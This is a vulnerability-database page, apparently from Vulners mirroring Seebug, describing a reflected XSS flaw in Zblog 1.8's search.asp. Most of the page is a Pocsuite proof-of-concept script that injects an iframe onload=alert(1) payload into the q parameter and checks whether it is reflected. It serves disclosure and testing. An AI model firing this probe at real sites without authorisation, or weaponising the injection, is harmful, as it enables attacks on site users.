Lucene search
K

Zblog1.8 search.asp 跨站漏洞

🗓️ 10 Mar 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Zblog 1.8 search.asp 跨站漏洞 in Zblog1.8 has a XSS vulnerability in search.asp

Code

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = 'SSV-19246'  # vul ID
    version = '1'
    author = 'fenghh'
    vulDate = '2010-03-10'
    createDate = '2015-10-14'
    updateDate = '2015-10-14'
    references = ['http://sebug.net/vuldb/ssvid-19246']
    name = 'Zblog 1.8 search.asp 跨站漏洞'
    appPowerLink = 'http://www.zblogcn.com/'
    appName = 'Zblog1'
    appVersion = '1.8'
    vulType = 'XSS'
    desc = '''  
        search.asp在对用户提交数据处理上存在安全漏洞。
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        output = Output(self)
        result = {}
        payload = '/search.asp?q=%3Ciframe%20src%3D%40%20onload%3Dalert%281%29%3E'
        verify_url = self.url + payload
        response = req.get(verify_url)
        content = response.content
        if '<iframe src=@ onload=alert(1)>' in content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = verify_url
            output.success(result)
        else:
            output.fail('XSS Failed')
        return output

    def _attack(self): 
        return self._verify()

register(TestPOC)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation